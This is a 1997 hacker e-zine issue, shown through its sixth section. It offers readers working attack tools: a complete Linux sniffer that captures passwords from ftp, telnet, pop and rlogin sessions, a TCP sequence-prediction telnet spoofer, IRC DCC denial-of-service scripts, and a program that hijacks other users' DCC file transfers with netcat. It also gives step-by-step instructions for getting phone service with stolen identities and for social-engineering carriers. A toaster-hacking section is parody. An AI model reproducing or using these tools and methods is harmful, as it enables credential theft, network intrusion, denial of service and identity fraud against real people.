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The CodeZero Technical Journal Issue 002
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÕÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͸
³ The CodeZero Technical Journal, April 1997, Issue 002 ³±
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ±
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
BTW, I use EDIT.COM to view this from DOS, then the ASCII's work.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Official CodeZero Technical Journal Distribution Site
===============> http://www.neonunix.org/codezero/ <=====================
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Official Sponsor Of The CodeZero Technical Journal
==============> THE CrAckHouSe <===============
--------------> WWW.CRACKHOUSE.COM <---------------
--------------> IRC.CRACKHOUSE.COM <---------------
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
In This Issue :
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
1. The State Of The CodeZero This Month...............: Tetsu Khan
2. A Linux Sniffer....................................: halflife / medulla
3. Telnet Sequencer / IP Spoofer......................: VECT0R-X
4. Free Calls With A Cellular Phone Without Cloning...: TRON
5. Hacking Toasters And Other Electrical Items........: Tetsu Khan
6. IRC DCC Protocol Security Holes....................: James Brown
7. Simple Password Trojan Scripts.....................: Kevin Carter .:
8. The Last Hack Of dk................................: from www.crackhouse.com
9. Department of Defence Server Listing...............: The CodeZero crew
10.Solaris 2.5 Calendar Exploit.......................: Tetsu Khan
11.CodeZero World News................................: fr1day / od^phreak
12.News Conclusion....................................: Testu Khan
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
1. The State Of The CodeZero This Month : Tetsu Khan
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This release is slightly earlier than planned, this is due to the writing I
have been doing recently and the feedback I've been getting from issue 1.
This month he have been busy gathering news for the world news section, as well
as me getting the others to finally submit some work, i also asked on irc if
anyone in #cellular, #hack or #unix would like to write articles, if you are
interested in writing atricles, then please submit any that you may like to
be published in this technical journal to : codezero@digi-gram.com , remember
to put your name and details in the body of the message.
Many many many many sites have been hacked this month by various individuals,
if you hear of any sites that have been hacked, please mail hacked@digi-web.com
with your name, the news about the hack, and any other relevant details.
CodeZero may release a special edition of the technical journal in conjunction
with HBS, or Havoc Bell Services, they are nice people, and each quarter we
may release a bumper edition along with Digital Darkness, a name is still
being thought up, watch this space!
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
2. A Linux Sniffer : halflife / medulla
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Many people already have this, but if you are one of the few that doesnt, here
it is...
/*
LinSniffer 0.04
halflife@saturn.net
medulla@infosoc.com
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <linux/if.h>
#include <signal.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/if_ether.h>
int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);
struct etherpacket
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char buff[8192];
}ep;
struct
{
unsigned long saddr;
unsigned long daddr;
unsigned short sport;
unsigned short dport;
int bytes_read;
char active;
time_t start_time;
} victim;
struct iphdr *ip;
struct tcphdr *tcp;
int s;
FILE *fp;
#define CAPTLEN 512
#define TIMEOUT 30
#define TCPLOG "tcp.log"
/*********************************************************************
Open a raw socket, set up promiscuous mode, and return a file
descripter to be used for reading. Accepts a argument for the
device to open, but right now this is not user specifiable.
*********************************************************************/
int openintf(char *d)
{
int fd;
struct ifreq ifr;
int s;
/* open sock_packet connection, protocol 6 (tcp) */
fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
if(fd < 0)
{
perror("cant get SOCK_PACKET socket");
exit(0);
}
/* get flags for eth0 */
strcpy(ifr.ifr_name, d);
s=ioctl(fd, SIOCGIFFLAGS, &ifr);
if(s < 0)
{
close(fd);
perror("cant get flags");
exit(0);
}
/* set promiscuous flag */
ifr.ifr_flags |= IFF_PROMISC;
s=ioctl(fd, SIOCSIFFLAGS, &ifr);
if(s < 0) perror("cant set promiscuous mode");
return fd;
}
/*******************************************************************
Read a packet, pass it through the filter, and if the filter
says it is ok, return the number of bytes read.
*******************************************************************/
int read_tcp(int s)
{
int x;
while(1)
{
x=read(s, (struct etherpacket *)&ep, sizeof(ep));
if(x > 1)
{
if(filter()==0) continue;
x=x-54;
if(x < 1) continue;
return x;
}
}
}
/*********************************************************************
Filter packet. If you need to modify the program, this is what you
will probably want to modify. It is a simpleminded filter to issolate
interesting packets. Returns nonzero if the packet is OK.
*********************************************************************/
int filter(void)
{
int p;
p=0;
/* if not tcp, chuck it! */
if(ip->protocol != 6) return 0;
if(victim.active != 0)
if(victim.bytes_read > CAPTLEN)
{
fprintf(fp, "\n----- [CAPLEN Exceeded]\n");
clear_victim();
return 0;
}
if(victim.active != 0)
if(time(NULL) > (victim.start_time + TIMEOUT))
{
fprintf(fp, "\n----- [Timed Out]\n");
clear_victim();
return 0;
}
/* logging ftp, telnet, pop?, imap2, rlogin, poppasswd */
if(ntohs(tcp->dest)==21) p=1; /* ftp */
if(ntohs(tcp->dest)==23) p=1; /* telnet */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==109) p=1; /* pop2 */
if(ntohs(tcp->dest)==143) p=1; /* imap2 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
if(victim.active == 0)
if(p == 1)
/* if we got a syn, a good port, and no session is active... */
if(tcp->syn == 1)
{
victim.saddr=ip->saddr;
victim.daddr=ip->daddr;
victim.active=1;
victim.sport=tcp->source;
victim.dport=tcp->dest;
victim.bytes_read=0;
victim.start_time=time(NULL);
print_header();
}
/* check if this is the correct session */
if(tcp->dest != victim.dport) return 0;
if(tcp->source != victim.sport) return 0;
if(ip->saddr != victim.saddr) return 0;
if(ip->daddr != victim.daddr) return 0;
/* if we got a rst close the session */
if(tcp->rst == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "\n----- [RST]\n");
clear_victim();
return 0;
}
/* same for fin */
if(tcp->fin == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "\n----- [FIN]\n");
clear_victim();
return 0;
}
/* guess everything is ok */
return 1;
}
/*********************************************************************
This is the header we print when we get a new connection. Just
prints important information like src/dst ports and ip addresses
*********************************************************************/
int print_header(void)
{
fprintf(fp, "\n");
fprintf(fp, "%s => ", hostlookup(ip->saddr));
fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));
}
/*********************************************************************
This function is basically the code from sunsniffer. It is taken from the
PR_DATA macro. The old code wouldnt print control characters which
are legal as passwords. Problem reported by snoninja.
*********************************************************************/
int print_data(int datalen, char *data)
{
unsigned char lastc=0;
victim.bytes_read = victim.bytes_read + datalen;
while(datalen-- > 0)
{
if(*data < 32)
{
switch(*data)
{
case '\0':if((lastc=='\r') || (lastc=='\n') || lastc=='\0') break;
case '\r':
case '\n':fprintf(fp, "\n : ");break;
default:fprintf(fp, "^%c",(*data + 64));break;
}
}
else
{
if(isprint(*data)) fputc(*data, fp);
else fprintf(fp, "(%d)", *data);
}
lastc=*data++;
}
fflush(fp);
}
/*********************************************************************
main function. Sets things up, and then goes into a loop.
*********************************************************************/
main(int argc, char **argv)
{
/* open eth0 if possible */
s=openintf("eth0");
ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
/* set signal handlers, ignore sighup, other signals call cleanup() */
signal(SIGHUP, SIG_IGN);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
signal(SIGKILL, cleanup);
signal(SIGQUIT, cleanup);
/* REAL dumb argument handler. Any argument means write to stdout
otherwise we write to tcp.log. This really needs fixing (TODO) */
if(argc == 2) fp=stdout;
/* Try to open log file, exit if we cant */
else fp=fopen(TCPLOG, "at");
if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);}
/* zero out the victim struct */
clear_victim();
for(;;)
{
/* read packet */
read_tcp(s);
/* if we have a active connection, write data */
if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
/* flush the buffer (this isnt really needed since we do it now in
print_data */
fflush(fp);
}
}
/************************************************************************
Look up a ip address and return its hostname if possible. Otherwise just
return its ascii ip address. Uses a static buffer that is overwritten by
successive calls.
************************************************************************/
char *hostlookup(unsigned long int in)
{
static char blah[1024];
struct in_addr i;
struct hostent *he;
i.s_addr=in;
/* do a gethostbyaddr() */
he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
/* if that failed, do a inet_ntoa() */
if(he == NULL) strcpy(blah, inet_ntoa(i));
/* copy it to buffer..hmm, should prob use strncpy, eh? */
else strcpy(blah, he->h_name);
return blah;
}
/*******************************************************************
Clear the victim structure setting all important fields to 0
*******************************************************************/
void clear_victim(void)
{
victim.saddr=0;
victim.daddr=0;
victim.sport=0;
victim.dport=0;
victim.active=0;
victim.bytes_read=0;
victim.start_time=0;
}
/******************************************************************
This is what we do when we are killed (except with kill -9 since we
can't trap that signal).
******************************************************************/
void cleanup(int sig)
{
fprintf(fp, "Exiting...\n");
close(s);
fclose(fp);
exit(0);
}
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
3. Telnet Sequencer / IP Spoofer : VECT0R-X
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Here is an example of a working linux / solaris telnet spoofer program, again
many people may have this already, and this is for those who dont...
/* */
/* tELNET SEQUENCER v0.0001 = DEVELOPED BY VECT0R-X */
/* Under Solaris try: */
/* gcc x.c -lsocket -lnsl -L/usr/ucblib -lucb */
#include "/usr/include/netinet/tcp.h"
#include <fcntl.h>
unsigned long sourceport = 1036;
unsigned long dest, spoofed, src, nseq, tarport, temp;
char str[255], *string;
char buf[4096];
char spoofdir[10], *spoofid;
char spoofbuf[42];
int len, rec, sen, i=1, adder=128000, stringlen=0;
int spooffd, spooflen;
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;
void main(int argc, char *argv[])
{
unsigned long fakesequence = 408618+getpid();
sourceport+=getpid();
printf("tELNET SEQUENCEr - Writtin by vect0rx.\n\n");
if (argc != 5) {
fprintf(stderr,"Usage: %s <server> <port> <spoof> {1|2}\n\n",argv[0]);
fprintf(stderr," <server> - Site spoof is attempted on.\n");
fprintf(stderr," <port> - Port to access on <server>.\n");
fprintf(stderr," <spoof> - Host to appear from.\n");
fprintf(stderr," 1 - Offset of 128000 (common).\n");
fprintf(stderr," 2 - Offset of 64000 (not likely).\n\n");
exit(1);
}
tarport = atoi(argv[2]);
if (argv[4][0] == '2') adder=64000;
memset(&spoofedaddr,0,sizeof(spoofedaddr));
spoofedaddr.sin_family = AF_INET;
if ((spoofedaddr.sin_addr.s_addr = inet_addr(argv[3])) == -1) {
if ((host = gethostbyname(argv[3])) == NULL) {
printf("Unknown host %s.\n",argv[3]);
exit(1);
}
spoofedaddr.sin_family = host->h_addrtype;
memcpy((caddr_t) &spoofedaddr.sin_addr,host->h_addr,host->h_length);
}
memcpy(&spoofed,(char *)&spoofedaddr.sin_addr.s_addr,4);
memset(&addr,0,sizeof(addr));
addr.sin_family = AF_INET;
if ((addr.sin_addr.s_addr = inet_addr(argv[1])) == -1) {
if ((host = gethostbyname(argv[1])) == NULL) {
printf("Unknown host %s.\n",argv[1]);
exit(1);
}
addr.sin_family = host->h_addrtype;
memcpy((caddr_t) &addr.sin_addr,host->h_addr,host->h_length);
}
memcpy(&dest,(char *)&addr.sin_addr.s_addr,4);
if ((rec = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
perror("error: recv socket");
exit(1);
}
if ((sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("error: send socket");
exit(1);
}
sen = openintf("ppp0");
#ifdef IP_HDRINCL
fprintf(stderr,"IP_HDRINCL is set\n");
if (setsockopt(sen,IPPROTO_IP,IP_HDRINCL,(char *)&i,sizeof(i)) < 0) {
perror("setsockopt IP_HDRINCL");
exit(1);
};
#endif
gethostname(buf, 128);
if ((host=gethostbyname(buf))==NULL) {
fprintf(stderr, "Can't get my hostname!?\n");
exit(1);
}
memcpy(&src,host->h_addr,4);
sendtcppacket(sen, src, dest, &addr, TH_SYN, sourceport,
tarport, fakesequence, 0, NULL, 0);
for (;;) {
gettcppacket(rec,buf,sizeof(buf));
ip = (struct iphdr *) buf;
if (ip->saddr != dest) continue;
len = ip->ihl << 2;
tcp = (struct tcphdr *) (buf+len);
if (ntohs(tcp->th_dport)==sourceport && ntohs(tcp->th_sport)==tarport) {
temp=htonl(tcp->th_seq);
nseq=temp;
nseq+=adder;
printf("Sequence returned is %lu, Offset is %lu\n",
nseq, adder);
sendtcppacket(sen, src, dest, &addr, TH_RST, sourceport,
tarport, fakesequence, 0, NULL, 0);
break; /* out of for loop */
}
}
sendtcppacket(sen,spoofed,dest,&spoofedaddr,TH_SYN,sourceport,
tarport,fakesequence,0,NULL,0);
printf("SYN Devilered, Waiting on SYN/ACK reply.\n"); fflush(stdout);
usleep(10000);
sendtcppacket(sen,spoofed,dest,&spoofedaddr,TH_ACK,sourceport,
tarport,++fakesequence,++nseq,NULL,0);
printf("ACK Devilered, Assuming safe to send data.\n"); fflush(stdout);
usleep(5000);
printf("Sending irc client handshake.\n"); fflush(stdout);
strcat(spoofdir, "./telnet.d");
spooffd = open(spoofdir, O_RDONLY);
if (spooffd < 0) {
perror("open: ");
exit(0);
}
else
{
spooflen = read(spooffd, spoofbuf, sizeof(spoofbuf));
spoofid = strtok(spoofbuf, "\r\n");
}
stringlen = strlen(spoofid);
sendtcppacket(sen,spoofed,dest,&spoofedaddr,TH_ACK|TH_PUSH,sourceport,
tarport,fakesequence,nseq,spoofid,stringlen);
fakesequence+=stringlen;
for(;;) {
printf("telnet:%s> ", argv[1]); fflush(stdout);
string = fgets(str, 255, stdin);
stringlen = strlen(string);
sendtcppacket(sen,spoofed,dest,&spoofedaddr,TH_ACK|TH_PUSH,sourceport,
tarport,fakesequence,nseq,string,stringlen);
fakesequence+=stringlen;
}
}
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
4. Free Calls With A Cellular Phone Without Cloning : TRON
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
There are several ways to make free calls with a cellular phone that does not
have service with the hassle of cloning it, or if you have a phone that can't
be cloned or you don't want to buy the expensive equipment required, so here
are a few ways to do it from home with little risk...
1.) American Roaming Network.
-----------------------------
To reach the American Roaming Network (or something like it, depending on
where you are), put your phone on the alternate carrier side so it says roam,
then dial 0 and it should tell you your call is being forwarded.
At that point you should be connected to an automated system, form here you
have a couple of billing options...
To use a credit or calling card, you enter the area code and number you want
to call; for a calling card you then enter the card number and pin, for a
credit card you then enter the card number and expirarion date, then the zip
code of the billing address. ARN takes MasterCard, American Express, and
most local and long distance company calling cards. They say they dont take
VISA anymore, but I've gotten them to work on the automated system.
If the number you call is busy or doesn't answer, you can press * and then
either leave a message that the system will deliver, or try another number.
If you want to dial another number you will have to put the zip code again
after the new number.
You can also make collect and 3rd party billed calls by dialing 0 instead of
the number to call when you connect to ARN. You will be sent to an operator,
tell them you would like to place a call. They will then ask how you would
like to bill it. You can set up a local dialup voice mail box and change
the greeting so it sounds like someone's there to accept the charges, the
operator has to read a script, so you have to adjust the timing to get it
just right.
ARN will not 3rd party or collect bill to 800 numbers, nor will they place
calls to 800 numbers charged to 3rd party numbers.
2.) Social Engineering.
-----------------------
Another way is to dial 611 and tell the customer support person that you're
having trouble getting through to the area you're trying yo call and could
they try place the call for you. This works about 50% of the time, it helps
to have the name and cell number of someone who has service with that
provider in case they ask for it, they might ask for the social security
number too, so be prepared, dumpster diving at a cell store is the easiest
place to get that info.
3.) Set Up Service With Someone Else's Info.
--------------------------------------------
The best way, and the one I prefer to cloning, is to get someone else's
information and set up service. The best place to get the information you'll
need is from a place that does credit checks, like a bank or car dealership.
Make sure they have a good rating, like A, B or C, then you wont be asked
for a deposit.
You'll need a name, address, social security number, drivers license number
and work number.
You will also need a cell phone that is not stolen. They will not activate a
stolen phone, when I tried they put me on hold and called the person who's
phone I had and then told me the person wanted me to mail the phone back to
them.
Also find and write down the electronic serial number, you'll need that too.
You then need to call a local cell service provider (ie. GTE MobilNet,
Cellular One, Bell South Mobility, etc.) on a phone you have. Let them tell
you about the different service plans and pick one.
They will then ask for your "information" and ESN. Then they will ask to
call you back with your new cell number, tell them that you're out and
ask for a number to call them back at, they will have no problem with this.
Then call them back and they will tell you how to program your new number
into your phone, they might also tell you how to program in a new system ID
and pagin channel etc, this is no big deal.
Also ask when the billing cycle ends and when the bill is sent out, you will
want to stop using this number when the person you're billing it to gets
their bill.
Be sure to get call features like 3-way and call forwarding, they're always
useful to have.
I prefer this to cloning because its less worry and hassle and it lasts up
to a month.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
5. Hacking Toasters And Other Electrical Items : Tetsu Khan
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
/*
This text covers the basics of hacking the Proctor & Silex
MoDEL:0342 SERiES:c930 TyPe:b
This specific toaster handels 120 Volts A.C. *ONLY* 1400 WATTS
*/
SKaNNinG Da PoRtZ:
------------------
YeW cAn SCan FoR HiDDeN pOrTs bY dEwIn' ThE FoLLoWing..,
1: LewK FoR hIddEn PoRtS aT ThE ReAr Of tHE ToAsTer.
2: TrY To FiNd bAckDooRz On The OuTSiDe Of ThE ToAstER.
If yOU LokAtE SuCh A hIdDen PorT, YeW Can ATtemPt To coNNecT tO iT...
CoNNECTiNG:
-----------
When CoNNECTiNG TeW SuCH A ToaSTER On a hIddEn PoRt YeW WiLL b ProMPtED
4 aH LoGiN AnD PaSSwErD. eG:(This is a capture of a login.)
+-------------------+
| PROCTOR & SILEX |
| M:0225 |
| S:b4588 |
| T:02 |
+-------------------+
TOasTeR OS RelEasE 1.02 (ToAsT)
login: bAGeL
password: <--- We AttEmPtid "toaster"
L0ghINn GRaNTiD
***************
------------------------------------------------------------
WeLKoMe To TOaSty LaNd!
------------------------------------------------------------
login on tty[tOaST]
last login from ChEEz_ToAsT.COM on tty[BaGeL] at 6:43a.m.
:/etc/motd not found
1: OFF
2: ToAsT StART
3: BRoWN
4: BuRNT
5: LiGHT
6: UNiX TyPE SheLL ENViRONMEnT
If YeW GhET THiS YEW ArE COOL)(#*$ Ok NoW CHEwZe No. SiX. AND RuN NE
Of ThU 8LGMz. They WeRK. DeW NoT WeRRIE BoUT WhUT THU 8lgM SaYZ iT
WiLL STiLL WeRK oN ThIS SYSTEM. AlLLL THu 8LGMz DeW()#*%&( ThE OtHER
CoMMANDs R NoT ImPOrTaNT.
SoME NeaT-O ThINGS. YeW CaN TaP the /dev/ToaST-N-CheEZe. YeW CaN FiND
A FeW PRoGRAMs ThAT ArE GeWD FeR ThIS SuCH SYTeMM.
% ftp ftp.gimme.leet.juarez.codezero.com
/pub/hax0ring_WaReZ/ToAsteR_HaxoRiNG_WaREZ
P&S_ToAsTeR_ReWTKiT.TaR.GZ -RooTKiT FeR ThiS TYPE oF ToaSTER
PSNiFF.GZ -/dev/ToasT-N-CheEZe SniFFAH
SoME DeFULtZ OfTen FoUnD oN SuCH ToAstErz:
------------------------------------------
l : bageL-n-KreAM/CheZE p : YuMMY
l : PoPALeNDER p : STiNKY_Joo
l : POaCHeD_EGZ p : HooKGNOZe
l : root p : root
l : lpd p : lpd
l : guest p : hymienotyew
eYe WiLL KoNItuE wItH oTheR ExAMplEs NeXt TiMe!
T_K
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
6. IRC DCC Protocol Security Holes : James Brown
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
DCC is the IRC client-side protocol used to send information directly
between clients. Normally, when a message is sent between 2 users, it goes
from the user's client to the irc server that client is connected to, then to
the server the reciever is connected to, and finally to the user. Obviously
that is a lot of wasted bandwidth compared to sending information directly
between two clients, thus DCC is used.
DCC is among the simplest of setups for communication, consisting merely of
a tcp connection between two computers, across which data is passed. Since
error correction, flow control, etc. are already handled by the tcp protocol,
there is no need to worry about any such issues.
When you initiate a dcc send, a number of things happen:
1. Your irc client opens an unpriviledged tcp port (>1024), and listens
for an incoming connection.
2. Your irc client sends:
A) The file name
B) Your ip address
C) The number of the tcp port it is listening on
D) The size of the file you are sending (in bytes)
3. The remote irc client then opens a tcp connection to the specified
ip address, transmits a bit of garbage to initiate the transfer, and
dumps whatever is sent over that tcp port to a file.
4. At the time the first connection to the tcp port is established,
your irc client stops listening for new connections, and dumps the
file over the now-established tcp connection.
What you can do with this:
--------------------------
The simplest uses of this setup are denial-of-service attacks. Some IRC
clients (ircII earlier than 2.8.2 and Homer) hang while trying to establish a
dcc connection. Thus, by placing the ip address of a nonexistant machine in
your dcc send request, you can cause the irc client of a user who chose to get
the file to hang long enough to cause a ping timeout. (Note for readability,
the actual control characters in this script have been replaced with ascii
representations, to actually execute convert accordingly).
dcckill.irc:
echo Loading DCC KILL
echo Syntax: DCCK nick filename size
echo ^Bfilename^B and ^Bsize^B are bogus values.
alias DCCK {
^assign dcc_killing 0
//quote PRIVMSG $0 :^ADCC SEND $1 12341234 4321 $2^A
echo *** Sent DCC KILL request to $0
^assign dcc_killing 1
}
A similar trick, less damaging, but quite capable of confusing the hell
out of a lot of people is to direct remote irc clients to connect to the
chargen port of some machine on a T3. (Note that ircII will not connect
to a priviliged port, although all of the GUI clients I have tested
will) You can thus use somebody else's bandwidth to dump garbage to a
remote machine.
dccchargen.irc:
echo Loading DCC CHARGEN
echo Syntax: DCCCHARGEN nick filename size
echo ^Bfilename^B and ^Bsize^B are bogus values.
alias DCCCHARGEN {
^assign dcc_charging 0
//quote PRIVMSG $0 :^ADCC SEND $1 2230084270 19 $2^A
echo *** Sent DCC CHARGEN request to $0
^assign dcc_charging 1
}
Aside from denial of service attacks, the primary interesting thing you
can do is intercept dcc file transfers. Becuase ircII listens for
incoming connections from ANY machine when you do a dcc send, all that is
needed is to open a tcp connection to the appropriate port (using netcat
for example), dump a few garbage characters to initiate the transfer, and
then store whatever comes across the tcp connection in a file. You lose
the filename, but for those who are willing to take a hex editor to the
first few bytes of what they get, figuring out what the file format is
should be no problem.
The simplest way to determine which port a dcc transfer is going to be on
is if you have user access on the machine. If you watch for new listens on
ephemeral ports (using netstat or equivalent), you can then quickly open them,
before the actual recipient has a chance to do so.
Here is a quick linux-only program to parse the output of netstat -a, and
dump the contents of whatever dcc sends start from the local machine to a
file.
dccgrab.c:
/* dccgrab 0.01 */
/* A quick program to intercept dcc sends. */
/* Obviously, don't use this without appropriate permission. */
/* Requires that a copy of netcat be in the path, and a copy of */
/* netcat's telnet.d file needs to be in the current directoyr */
/* output will be written to snagfile */
/* known bugs: Bot detection should be improved */
/* Only works with linux netstat */
#include <stdio.h>
#include <string.h>
#define TRUE 1
#define FALSE 0
int main (){
int SnaggedOne;
FILE *f;
char NetstatLine [1024];
char CommandString [1024];
char *colin = ":";
char *tempstr;
int port;
int i;
port=1;
SnaggedOne=FALSE;
while (!SnaggedOne){
system ("netstat -a |egrep LISTEN |egrep ':' >/tmp/.dcc2345");
f=fopen ("/tmp/.dcc2345","rt");
if (f==NULL) {
fprintf (stderr,"Unable to open file!");
exit (1);
}
port =0;
while (port == 0) {
fgets (&NetstatLine[0],1024,f);
tempstr = strstr (&NetstatLine[0],colin);
tempstr += sizeof (char);
sscanf (tempstr,"%d ",&port);
/* let's deal with ports we don't want to touch */
if (port < 1024) /* priviledged */
port=0;
if (port == 6000) /* X */
port=0;
if (port == 8080) /* proxy servers */
port=0;
/* bots... */
if (port == 2222)
port=0;
if (port == 3333)
port=0;
if (port == 4444)
port=0;
if (port == 5555)
port=0;
if (port == 6666)
port=0;
if (port == 7777)
port=0;
if (port == 8888)
port=0;
if (port == 9999)
port=0;
if (feof (f))
port=-1;
}
fclose (f);
if (port >0) {
SnaggedOne=TRUE;
printf ("snagging something from port %d\n",port);
sprintf (&CommandString[0],"nc 127.0.0.1 %d < ./telnet.d > snagfile",port);
system (CommandString);
}
else sleep (1);
} /* while !snaggedone*/
return 0;
}
This is obviously not the optimal solution for stealing dcc transfers, and
only works locally, but it provides a good basis for working on your own code
to improve upon.
If you can determine which port the kernel on a remote system assigned
last, you stand a good chance at guessing the port number for the next dcc
send, simply because most kernels assign tcp ports in increasing order. Thus,
if you can get a bot to dcc chat you, and you record the port number, and then
bombard the next 30 or so tcp ports with attempted connections, you stand a
very good chance at getting the next file that that bot happens to send
somebody. Actual implementation of this is left as an exercise to you.
